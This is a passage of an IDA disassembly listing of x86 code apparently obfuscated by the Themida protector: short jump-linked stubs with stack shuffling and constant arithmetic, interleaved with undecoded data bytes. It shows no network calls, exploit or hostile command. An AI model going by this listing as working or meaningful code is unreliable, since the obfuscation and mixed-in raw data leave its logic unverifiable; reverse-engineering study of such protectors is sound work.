		dd 348BF031h, 4C48324h,	239EE9h, 24248B00h, 52C8BF0Fh
		dd 4EC81h, 24890000h, 24048324h, 0C2815A04h, 4,	251BBE56h
		dd 0E94E778Ch, 0FFFFF431h, 3AE5CB81h, 0EBC12331h, 81D3F708h
		dd 83B47EC3h, 0E9DA2161h, 2FEh
; ---------------------------------------------------------------------------


loc_54A328:				; CODE XREF: Themida_:0054CCBEj
		pop	esp
		shr	ecx, 0Bh
		push	545Dh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 4
		jmp	loc_54E350
; ---------------------------------------------------------------------------
		db 55h
		dd 3F3D8DBDh, 45FEE973h, 0EF810000h, 29C023F8h,	81C70158h
		dd 2740E8C7h, 6104E93Dh, 41410000h, 0C37CE941h,	2C68FFFFh
		dd 89000057h, 0BB241Ch,	1000000h, 0FF0388D3h, 815B2434h
		dd 4C4h, 24148B00h, 0FF04C483h,	575B2434h, 0C781E789h
		dd 4, 2DCBE9h
		db 0
; ---------------------------------------------------------------------------


loc_54A3A1:				; CODE XREF: Themida_:00549031j
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		jmp	loc_548761
; ---------------------------------------------------------------------------


loc_54A3C7:				; CODE XREF: Themida_:0054691Fj
		pop	ebx
		add	edx, edi
		add	edx, 52BC26A9h
		sub	esp, 4
		jmp	loc_545700
; ---------------------------------------------------------------------------
		dd 0E970F180h, 0FFFFB37Ch, 9D1C77FFh, 4185866h,	2E99C24h
		dd 57FFFFA7h, 1653E4BFh, 4EC8108h, 0E9000000h, 0FFFFB1DDh
		dd 81B85052h, 8951E33Bh, 0CA8158C2h, 4F0B0F1Dh,	8B5A5752h
		dd 0C483243Ch, 0FA874704h, 4B51E9h, 2434FF00h, 8324048Bh
		dd 0EC8104C4h, 4, 54242C89h, 81242C8Bh,	4C4h, 0B8505700h
		dd 3E9E453Dh, 0B951D0F7h, 5CA1C139h, 8959C801h,	1697E9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A456:				; CODE XREF: Themida_:005492CEj
		push	esi
		mov	esi, 400h
		mov	edi, esi
		pop	esi
		jmp	loc_54C33C
; ---------------------------------------------------------------------------
		dd 60E95B50h, 54FFFFCDh, 6A9D685Fh, 1C890000h, 4BB24h
		dd 0EF810000h, 1087272Bh, 370FE9h, 4DBE5600h, 0F77A1153h
		dd 0C518E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A492:				; CODE XREF: Themida_:0054708Cj
		sub	eax, 4BE531AAh
		jmp	loc_54FECD
; ---------------------------------------------------------------------------
		dd 2454295Dh, 24448104h, 0C706204h, 525B5A4Ch, 9B0682BAh
		dd 7EB85041h, 81E0D3E8h, 3149CAC2h, 0E9C2297Eh,	4F90h
; ---------------------------------------------------------------------------


loc_54A4C4:				; CODE XREF: Themida_:0054BC70j
		add	ebp, 4
		push	ebx
		mov	ebx, 4A0E3CD5h
		or	ebx, 54B63A7Ah
		add	ebx, 0A141C105h
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 16EA2316h
		jmp	loc_550BFA
; ---------------------------------------------------------------------------
		db 5Ch
		dd 9C240408h, 0FFA5F4E9h, 7FC281FFh, 11F1863h, 7FEA81C2h
		dd 581F1863h, 0FFEB07E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A511:				; CODE XREF: Themida_:0054DC85j
		pop	ecx
		sub	[esp+4], eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_550669
; ---------------------------------------------------------------------------


loc_54A531:				; CODE XREF: Themida_:0054E98Dj
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_548364
; ---------------------------------------------------------------------------
		dw 489h
		dd 0A5A7E924h, 1C89FFFFh, 7F46824h, 4890000h, 5BCA6824h
		dd 0E95860A1h, 3C3Ch, 8124048Fh, 42404h, 48F0000h, 24048324h
		dd 24148B04h, 4C481h, 0C2810000h, 4, 0FFBD53E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A585:				; CODE XREF: Themida_:0054AE98j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54DD6A
; ---------------------------------------------------------------------------
		db 59h,	50h, 0B8h
		dd 2F9D2157h, 5306E0C1h, 0A93A6FBBh, 0B4C3817Eh, 0E96ABD59h
		dd 30EDh, 0DE0EE81h, 0FE017A75h, 0DE0C681h, 0E95F7A75h
		dd 0FFFFD591h, 17C2815Dh, 0E950F346h, 0FFFFC269h, 2C8BEE01h
		dd 4C48324h, 8B243487h,	0E9512424h, 567Ah
; ---------------------------------------------------------------------------


loc_54A5E0:				; CODE XREF: Themida_:00550567j
		pop	dword ptr [esp]
		jmp	loc_54E071
; ---------------------------------------------------------------------------
		dd 2E7C147h, 3083E9h, 48B6600h,	4B8D6824h, 4DE90000h, 56FFFFFBh
		dd 0FFEF80E9h, 24248BFFh, 240CD366h, 0A4DFE99Ch, 0F781FFFFh
		dd 3F429009h, 1033E9h, 24248B00h, 145BE955h, 0C15B0000h
		dd 0E94204E2h, 5B2h, 0F45BDB05h, 2DF80146h, 46F45BDBh
		dd 4EC81h, 0BAE90000h, 81FFFFABh, 73F63BF3h, 8BD90107h
		dd 0C481241Ch, 4, 57E868h, 0E348E900h, 6768FFFFh, 89000052h
		dd 49E9242Ch, 8B00005Dh, 0C481242Ch, 4,	0E904C383h, 0FFFFD09Ah
		dd 0E92C77FFh, 0FFFFA469h
; ---------------------------------------------------------------------------


loc_54A688:				; CODE XREF: Themida_:0054745Fj
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_549FAB
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 0A5h
		dd 4B56471Ch, 62E1E9h, 7EEDBF00h, 0F78124C6h, 0FBE7DC9h
		dd 0F706E7C1h, 8E7C1DFh, 0D0EF814Fh, 29D15BE1h,	0E8015FF8h
		dd 0FFE7ADE9h, 95BF57FFh, 0E97A7348h, 0FFFFDBD7h
; ---------------------------------------------------------------------------


loc_54A6D8:				; CODE XREF: Themida_:0054B906j
		push	5DA24C13h
		jmp	loc_54ADE9
; ---------------------------------------------------------------------------


loc_54A6E2:				; CODE XREF: Themida_:00544C2Bj
		xor	esi, [esp]
		pop	esp
		push	eax
		jmp	loc_550612
; ---------------------------------------------------------------------------
		dd 6028F181h, 2DE965A1h, 31000047h, 243C8BF9h, 81E78957h
		dd 4C7h, 4C78100h, 87000000h, 248B243Ch, 4E34E924h, 590000h
		dd 15EB80C3h, 25A2E9h
		db 0
; ---------------------------------------------------------------------------


loc_54A721:				; CODE XREF: Themida_:0054F466j
		mov	[esp], edx
		jmp	loc_547FC5
; ---------------------------------------------------------------------------


loc_54A729:				; CODE XREF: Themida_:0054580Ej
		add	edi, 4
		jmp	loc_545DD2
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0E8h
		dd 0E95E0953h, 13C8h, 2C8B5455h, 0BA29E924h, 0D931FFFFh
		dd 66C1815Bh, 8909B6A6h, 0F58159CDh, 2B205B6h, 5703EDC1h
		dd 0D92689BFh, 6EFC110h, 35E7814Fh, 81625B22h, 0F75DB2EFh
		dd 0EBB9E911h, 815FFFFFh, 0B301FBEBh, 81C3290Eh, 0B301FBC3h
		dd 3256E90Eh, 5B0000h, 4EC83D0h, 0B3241C89h, 14AE9D3h
		dd 9BB30000h, 0E903E3C0h, 3F8h,	4EC8353h, 51243C89h, 8C5D21B9h
		dd 59CF8976h, 7E9FB89h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A7BB:				; CODE XREF: Themida_:00550BE6j
		mov	ebx, 31BC1BDBh
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		neg	edi
		jmp	loc_54FE5E
; ---------------------------------------------------------------------------
aISq		db '‰<$éQ$',0
		db 0
; ---------------------------------------------------------------------------


loc_54A7D7:				; CODE XREF: Themida_:0054B137j
		pop	esi
		sub	[esp+4], edx
		sub	dword ptr [esp+4], 6FBD359Eh
		pop	edx
		pop	dword ptr [edi+40h]
		add	dword ptr [edi+40h], 30FA32B9h
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54DE5F
; ---------------------------------------------------------------------------
		dd 24048B66h, 81E78957h, 4ECh, 24148900h, 1172F5BAh, 8E2C118h
		dd 457FEA81h, 0E2C164CBh, 3CEA8106h, 129EBE0h, 24148BD7h
		dd 8104C483h, 4EFh, 16DE900h, 815E0000h, 377F99F6h, 55524E7Fh
		dd 0EB077568h, 17F2E976h, 74010000h, 5A5E0424h,	0FFFA0BE9h
		dd 0A3AA05FFh, 2EE92A95h, 2DFFFFC0h, 61C17C43h,	4305F029h
		dd 5761C17Ch, 0D86121BFh, 0DFF9E938h, 4BEFFFFh,	1000000h
		dd 4335EF0h, 24043124h,	5C240433h, 9C240429h, 0FFA254E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A89D:				; CODE XREF: Themida_:0054C5F6j
		pop	esp
		dec	dword ptr [esp]
		pushf
		jmp	loc_544AF1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 2C78300h, 601E68h, 240C8900h, 0BB53E189h, 28C73704h
		dd 0FFA822E9h, 9AC181FFh, 0E9009D55h, 4B65h, 0C381E389h
		dd 4, 324AE9h, 0E9008F00h, 0FFFFEAA0h, 0F4E9D3F6h, 500003Fh
		dd 835616Bh, 1B77EB05h,	0BB535119h, 3CDD67CCh, 1F9968h
		dd 241C8900h, 3794E9h, 385A0500h, 71E92E45h, 83FFFFE3h
		dd 0E95604C4h, 0D56h, 1E51BDBEh, 0F0E6815Bh, 467F5309h
		dd 564DF681h, 0F2011F26h, 8124348Bh, 4C4h, 81424A00h, 0CC1793C2h
		dd 5AD029C7h, 592434FFh, 0E904C483h, 6C9h, 840FC009h, 3BC8h
		dd 81E78957h, 4C7h, 0D0A3E900h,	0FF64FFFFh, 0A183E932h
		dd 0E189FFFFh, 0FFF250E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A975:				; CODE XREF: Themida_:00549CA3j
		sub	eax, 66FB4D27h
		jmp	loc_546892
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 4D29h, 0E9241C89h, 1186h,	0E0D4ED81h, 0EF31EC73h
		dd 0A6CF815Dh, 81094753h, 0C72F53F7h, 6A0E90Eh,	42E90000h
		dd 87FFFFA1h, 0D5E9243Ch
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54A9B7:				; CODE XREF: Themida_:00551022j
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_5488BD
; ---------------------------------------------------------------------------
		db 0E9h, 27h, 0A1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A9CA:				; CODE XREF: Themida_:0054BF20j
		push	ecx
		push	22E5h
		jmp	loc_54E018
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0C43FE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A9DE:				; CODE XREF: Themida_:00547280j
		mov	cl, dl
		pop	edx
		pop	ebx
		add	al, cl
		jmp	loc_54BC58
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 2C870000h, 5FE95C24h, 83000023h, 802C04C4h
		dd 5B2434FFh, 4C481h, 1680000h,	0E900004Ch, 0FFFFAE44h
; ---------------------------------------------------------------------------


loc_54AA14:				; CODE XREF: Themida_:0054EDD6j
		pop	edx
		xchg	ecx, [esp]
		jmp	loc_54DA1F
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 6B0454B6h, 1368F000h, 8900004Eh, 0EC832414h,	241C8904h
		dd 505142B3h, 62E9DC88h, 5CFFFFEAh, 582434FFh, 0CE5EE955h
		dd 0D701FFFFh, 8124148Bh, 4C4h,	150E900h, 0D5F70000h, 0C97DBF57h
		dd 0C5815802h, 6E415467h, 0E953FD01h, 0FFFFB468h
; ---------------------------------------------------------------------------


loc_54AA70:				; CODE XREF: Themida_:00545539j
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		not	ecx
		xchg	ecx, [esp]
		jmp	loc_549327
; ---------------------------------------------------------------------------


loc_54AA83:				; CODE XREF: Themida_:00548B92j
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_54D07F
; ---------------------------------------------------------------------------
		dd 304F68h, 240C8900h, 1AE95350h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54AA9B:				; CODE XREF: Themida_:0054F382j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 5C666258h
		or	esi, 2688070Ch
		sub	esi, 211A3E19h
		shr	esi, 8
		push	edi
		mov	edi, offset byte_55D429
		sub	esi, edi
		jmp	loc_54E218
; ---------------------------------------------------------------------------
		db 5Ch
		dd 4C781h, 26E90000h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54AACF:				; CODE XREF: Themida_:00549148j
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 692600C5h
		not	ebx
		inc	ebx
		neg	ebx
		shr	ebx, 7
		add	ebx, 4B824B12h
		or	ebx, 438817FCh
		jmp	loc_54BEC1
; ---------------------------------------------------------------------------


loc_54AAF7:				; CODE XREF: Themida_:0054C35Fj
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		shr	eax, 0Ah
		jmp	loc_54CEFC
; ---------------------------------------------------------------------------
		dw 0EBC0h
		dd 2EC8304h, 24148966h,	803CB551h, 0E5C0B7EDh, 81C58007h
		dd 80D8E580h, 0EA8861EDh, 66D32059h, 1DFEE95Ah,	0C6810000h
		dd 29103833h, 0EE81C601h, 29103833h, 81E68956h,	4C6h, 4B85000h
		dd 29000000h, 0EF22E9C6h, 0C828FFFFh, 0E92434FFh, 1934h
		dd 0E994C780h, 0FFFFCC54h, 0E904EC83h, 0FFFFB6BCh, 0B0240489h
		dd 45F5E9FDh, 535B0000h, 5921E9h, 0BA5200h, 57000000h
		dd 0B81544BFh, 5FFA2914h, 57AFE9h, 0E99C5000h, 0FFFF9F55h
		dd 50B3F380h, 0E688DC88h, 5217E958h, 3C870000h,	0BD7FE924h
		dd 0EB01FFFFh, 0C043E95Dh, 6468FFFFh, 89000028h, 2AE92404h
		dd 53FFFF9Fh, 0FFA81AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54ABCD:				; CODE XREF: Themida_:00547B4Cj
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	edx, eax
		jmp	loc_544F96
; ---------------------------------------------------------------------------
		dw 0EAC1h
		dd 70BF5705h, 8157C05Fh, 210BECF7h, 0F9F2E922h,	2768FFFFh
		dd 8900002Bh, 481241Ch,	0B31B2424h, 0BE3DE93Ah,	0D931FFFFh
		dd 3D53E9h, 240C8900h, 4EC81h, 3C890000h, 9BBB5324h, 5240EE11h
		dd 0D789DA89h, 499BE9h
		db 0, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 53556950h
		jmp	loc_5454A2
; ---------------------------------------------------------------------------


loc_54AC42:				; CODE XREF: Themida_:0054FADAj
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		pop	esi
		xchg	edi, esi
		xchg	ebx, edi
		jmp	loc_55056C
; ---------------------------------------------------------------------------
		db 2 dup(59h), 81h
		dd 4C3h, 0E7895700h, 4C781h, 0EF810000h, 4, 31243C33h
		dd 3C33243Ch, 1C895C24h, 2474FF24h, 241C8B04h, 8F04C483h
		dd 685C2404h, 5C9Dh, 0BE243489h, 70B734Dh, 4246C81h, 0B8F7292h
		dd 4247429h, 4244481h, 0B8F7292h, 8324348Bh, 1C8904ECh
		dd 1C8B5424h, 4C48124h,	50000000h, 6463D6B8h, 2EB95126h
		dd 1D99B9Ch, 1E959C8h, 29FFFFD7h, 0FF665DE8h, 9E17E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ACDA:				; CODE XREF: Themida_:00548D0Dj
		sub	ecx, 0ABE92D12h
		sub	edx, ecx
		pop	ecx
		jmp	loc_54EDB4
; ---------------------------------------------------------------------------
		dd 0C9FEC9FEh, 92E95266h, 8B000012h, 84E9242Ch,	0B7FFFF9Fh
		dd 24B15164h, 0C1FED1F6h, 2850E980h, 0CFFE59CFh, 24E4E9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 60661A9Bh
		add	ebp, 0FFFFFFFFh
		jmp	loc_54BA63
; ---------------------------------------------------------------------------
		db 51h,	0B1h, 6Ch
		dd 0E901E980h, 133h, 33241431h,	0E95C2414h, 4456h, 8104C483h
		dd 2C7h, 0C970E900h, 3568FFFFh,	8900000Fh, 0E9532404h
		dd 0FFFFDDF1h, 53D830ACh, 2122E9h
		db 0
; ---------------------------------------------------------------------------


loc_54AD6D:				; CODE XREF: Themida_:005490DBj
		sub	edi, 3D6E3FB2h
		add	edi, 21FB1785h
		mov	ebx, [esp]
		jmp	loc_5500E0
; ---------------------------------------------------------------------------
		db 0BFh, 0FBh, 53h
		dd 72E9559Ch, 5EFFFFAAh, 2F4FDE2Dh, 4CA92D32h, 0E8017E2Eh
		dd 2E4CA905h, 4FDE057Eh, 34FF322Fh, 0C4815D24h,	4, 81E68956h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 83522434h, 2C8904ECh
		dd 7591BD24h, 0EA89589Dh, 2902E9h, 58C78800h, 1A83E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54ADDE:				; CODE XREF: Themida_:00547F82j
		pop	ecx
		mov	eax, edx
		push	dword ptr [esp]
		jmp	loc_54C318
; ---------------------------------------------------------------------------


loc_54ADE9:				; CODE XREF: Themida_:0054A6DDj
		pop	edi
		shr	edi, 1
		sub	edi, 2ED12608h
		mov	ebx, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		add	edi, 4
		jmp	loc_548FA8
; ---------------------------------------------------------------------------
		dd 240C8B66h, 81E18951h, 4C1h, 70E95000h, 1FFFFC1h, 0D90159CBh
		dd 2E9815Bh, 0E9000000h, 0FFFFE7AFh
; ---------------------------------------------------------------------------


loc_54AE34:				; CODE XREF: Themida_:00549013j
		xor	ebx, 0C64715A7h
		mov	esi, ebx
		pop	ebx
		jmp	loc_54BE04
; ---------------------------------------------------------------------------
aSs		db 'Sé}*',0
		align 4
		dd 1B16E94Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	ebx, 0E9F71D2h
		add	ecx, ebx
		pop	ebx
		jmp	loc_54D15B
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0AFE980D1h, 0F1E9D1F6h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AE7B:				; CODE XREF: Themida_:005456BDj
		pop	edi
		add	dword ptr [ebx], 1
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 13CC4755h
		inc	ebx
		xor	ebx, 13CC4752h
		add	edi, ebx
		pop	ebx
		jmp	loc_54A585
; ---------------------------------------------------------------------------
		db 2Ch,	0A7h, 66h
		dd 0A571E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AEA6:				; CODE XREF: Themida_:0054DE1Fj
		push	340113Bh
		pop	edi
		and	ebp, edi
		pop	edi
		shl	ebp, 1
		push	edx
		jmp	loc_5490E6
; ---------------------------------------------------------------------------
		db 81h
		dd 831F6C5h, 4AF3E947h,	2AE90000h, 89FFFF9Ch, 0E589242Ch
		dd 4C581h, 1C680000h, 0E900006Ch, 2B1Eh, 4131CD68h, 0B8505E2Eh
		dd 21303759h, 2158C601h, 0C29DE9F3h, 0DBF7FFFFh, 4B67C381h
		dd 0DE311085h, 0FFD0B6E9h, 288F04FFh, 0E98F2CD0h, 3865h
		dd 0E908E7C1h, 4758h, 822EA3BFh, 28CFE941h, 0C7800000h
		dd 6202E996h, 835B0000h, 1C8904ECh, 24048124h, 59216225h
		dd 604E95Eh, 14870000h,	0C895C24h, 4691B924h, 0C1810724h
		dd 4D064A2Ch, 3F8EBE56h, 0E6812475h, 78751188h,	159FE9h
		dd 76F18100h, 556F7B25h, 0AB6593BDh, 20E95623h,	0FF000032h
		dd 669D1C77h, 1CD36659h, 72E99C24h, 5FFFFF9Bh, 4BE4E9h
		dd 0E9C70100h, 0FFFFF227h, 8704E883h, 19E92404h, 0FF00004Bh
		dd 34FF3C77h, 3B67E924h, 34FF0000h, 89535824h, 3BEBE9E3h
		dd 348B0000h, 0E27FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AFB6:				; CODE XREF: Themida_:0054F788j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_550165
; ---------------------------------------------------------------------------


loc_54AFD1:				; CODE XREF: Themida_:0054E864j
		add	edx, 1425E1h
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_54C1A2
; ---------------------------------------------------------------------------


loc_54AFE1:				; CODE XREF: Themida_:0054680Cj
		pop	ebx
		xchg	edi, edx
		jmp	loc_550E57
; ---------------------------------------------------------------------------
		db 53h,	89h, 0E3h
		dd 4C381h, 0C3830000h, 241C8704h, 0B7E95A5Ch, 0F700005Eh
		dd 1F181D1h, 297E1E22h,	9BE959CDh, 0FF00000Ah, 535A2434h
		dd 0FFB655E9h, 477D05FFh, 0E3E91CE6h, 81FFFFB8h, 2320A4EEh
		dd 5EF70100h, 2CDF68h, 243C8900h, 42474FFh, 24048F5Fh
		dd 5324248Bh, 746268h, 249FE900h, 0F7810000h, 56B04BA8h
		dd 3C8BFB29h, 4C48324h,	315BD801h, 0A309E9C3h, 0FF68FFFFh
		dd 0E900005Ah, 0FFFFA6A1h
; ---------------------------------------------------------------------------


loc_54B06C:				; CODE XREF: Themida_:00550729j
		push	esi
		jmp	loc_5475BE
; ---------------------------------------------------------------------------


loc_54B072:				; CODE XREF: Themida_:00549BEEj
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_549140
; ---------------------------------------------------------------------------


loc_54B080:				; CODE XREF: Themida_:00549213j
		mov	esp, [esp]
		or	eax, eax
		jmp	loc_5487FE
; ---------------------------------------------------------------------------
		dw 6BB8h
		dd 54D7360h, 3F844E2Bh,	0E62DD0F7h, 255E1B0Ch, 36FD289Ah
		dd 138C0540h, 0FDE9245Eh, 0B900003Dh, 151054AFh, 0E959C801h
		dd 1543h, 52D830ACh, 0CAFEBFB2h, 5D3EE9h, 12E95900h, 68FFFFCBh
		dd 1B34h, 54242C89h, 3FAFE9h, 0F665900h, 686600B6h, 896646E0h
		dd 6E92404h, 0ADFFFF9Ah, 75FA68h, 240C8900h, 1B77EBB9h
		dd 0AE92D19h, 0C8290C76h, 760AE905h, 0E268590Ch, 0E9000028h
		dd 537Fh, 8758C501h, 0E95C242Ch, 247Bh
; ---------------------------------------------------------------------------


loc_54B11C:				; CODE XREF: Themida_:0054618Cj
		pop	eax
		push	esi
		mov	esi, 6FBD359Eh
		sub	dword ptr [esp+8], 9E82F00h
		add	[esp+8], esi
		add	dword ptr [esp+8], 9E82F00h
		jmp	loc_54A7D7
; ---------------------------------------------------------------------------
		dd 283FEF80h, 0C9FE5BF9h, 281FE980h, 24048BE1h,	3D41E9h
		dd 81D10100h, 0F4233BC1h, 24148B18h, 4127E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B161:				; CODE XREF: Themida_:00548488j
		push	ebp
		mov	ebp, esp
		jmp	loc_547B2E
; ---------------------------------------------------------------------------


loc_54B169:				; CODE XREF: Themida_:0054F21Fj
					; Themida_:loc_5508F8j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	0
		mov	[esp], edx
		mov	edx, 26791494h
		or	edx, 1CA24B06h
		and	edx, 277E68DFh
		jmp	loc_54596C
; ---------------------------------------------------------------------------
		db 5Ch,	0, 0F8h
		dd 81241C8Bh, 4C4h, 0C59AE900h,	5053FFFFh, 2AA0BB53h, 0D88912DDh
		dd 0AF67E95Bh, 0C181FFFFh, 4, 5246E951h, 855C0000h, 16E99CC8h
		dd 56FFFF99h, 886AD968h, 24348B39h, 2B57E9h, 81E18900h
		dd 4C1h, 4C18100h, 87000000h, 575C240Ch, 0C781E789h, 4
		dd 8904EC83h, 4BD242Ch,	81000000h, 6F6899EFh, 81EF012Bh
		dd 6F6899C7h, 3C875D2Bh, 24248B24h, 0E904EC83h,	0FFFFABF4h
		dd 51B2C380h, 0EE88DD88h, 0F6525B59h, 5A012454h, 0DE86CEFEh
		dd 0DE30D3F6h, 0DE30F330h, 0E932C680h, 0FFFFBA50h, 24048F66h
		dd 0FF9898E9h, 0E95B51FFh, 0FFFFAFEDh, 42474FFh, 0FFBE09E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B269:				; CODE XREF: Themida_:loc_54D9BDj
		shr	edx, 1
		jmp	loc_5450D4
; ---------------------------------------------------------------------------
		dd 4C781h, 0EF830000h, 4EC8104h, 89000000h, 74FF243Ch
		dd 0E95F0424h, 14C7h, 8924248Bh, 5A542414h, 4C281h, 0E9510000h
		dd 0FFFFCF59h, 0E951E789h, 0FFFFE294h, 52E18951h, 4BAh
		dd 5AD10100h, 4E981h, 0C330000h, 240C3124h, 8B240C33h
		dd 1C892424h, 4BB24h, 972D0000h, 113FA2Bh, 2B9705D8h, 835B13FAh
		dd 48702C0h, 8B665C24h,	0E9522404h, 1C4h, 8B24048Fh, 3B662424h
		dd 0F6E99CC8h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B2FB:				; CODE XREF: Themida_:0054E722j
		add	edx, 4
		sub	edx, 4
		jmp	loc_545F38
; ---------------------------------------------------------------------------
aBisipSbw	db 'ësIp',8,'ébW',0
		dw 8700h
		dd 248B243Ch, 8B545224h, 0C4812414h, 4,	4C281h,	0EA810000h
		dd 4, 0FFFC01E9h, 52565CFFh, 0A23360BAh, 0E9D68913h, 28D1h
		dd 4EC81h, 4890000h, 0C52AE924h, 0EC83FFFFh, 410DE904h
		dd 77FF0000h, 58669D1Ch, 24041166h, 9783E99Ch, 3ABBFFFFh
		dd 81050053h, 0E3A4FEBh, 0B385E97Ah, 55FFFFFh, 1B1AC310h
		dd 8158C301h, 0DD2961C3h, 81C3017Ch, 0DD2961EBh, 0E6EB817Ch
		dd 8170311Ch, 0B2379CEBh, 148B666Fh, 4EC8324h, 89241C89h
		dd 0E2BD55E3h, 83712163h, 8755FFC5h, 0D0F72404h, 5D240487h
		dd 63E6C581h, 0EB017121h, 2C3815Dh, 0E9000000h,	0FFFFBAEFh
		dd 0E52A2BDh, 5DEA2117h, 0FF9CAFE9h, 4E2CBBFFh,	0F3815FABh
		dd 792D5ECFh, 35BFF381h, 0C381436Eh, 0C7B42A5h,	815BDE09h
		dd 16313C6h, 0C3B85073h, 5214F56Ah, 0FFE238E9h,	96DFE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B412:				; CODE XREF: Themida_:0054712Dj
		mov	esi, 4
		mov	edx, esi
		jmp	loc_54DA93
; ---------------------------------------------------------------------------


loc_54B41E:				; CODE XREF: Themida_:0054E38Ej
		mov	edx, ebx
		pop	ebx
		push	ebx
		push	eax
		mov	eax, 178E2047h
		mov	ebx, 0E2350960h
		add	ebx, eax
		pop	eax
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_550389
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 0E9592434h, 0FFFFC7F2h, 7FC5815Fh, 0E9F4523Dh
		dd 167Ch
; ---------------------------------------------------------------------------


loc_54B458:				; CODE XREF: Themida_:0054F32Dj
		push	7B69h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_54FE89
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 242C3300h, 0E9242C31h,	12C8h, 8904EC83h, 93B62414h
		dd 2C7AF680h, 493FE9E4h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B48A:				; CODE XREF: Themida_:0054890Aj
		add	ecx, 12420893h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_54B9A6
; ---------------------------------------------------------------------------
		dd 24048B66h, 55E08950h, 0FFB888E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B4A9:				; CODE XREF: Themida_:00550CF8j
		sub	bl, ch
		jmp	loc_54F6D2
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 8904EC83h, 2BB241Ch, 0E9000000h, 0FFFFC22Fh
; ---------------------------------------------------------------------------


loc_54B4C8:				; CODE XREF: Themida_:0054FB7Fj
		pop	edi
		push	ecx
